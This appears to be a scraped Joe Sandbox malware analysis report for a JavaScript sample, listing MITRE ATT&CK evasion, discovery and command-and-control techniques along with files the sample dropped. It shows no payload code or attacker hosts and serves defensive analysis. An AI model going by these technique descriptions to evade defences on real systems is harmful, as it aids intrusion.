Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 24667857242018421.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\21db934b-3f61-4851-bc89-33204edccf04.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2472

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
24667857242018421.js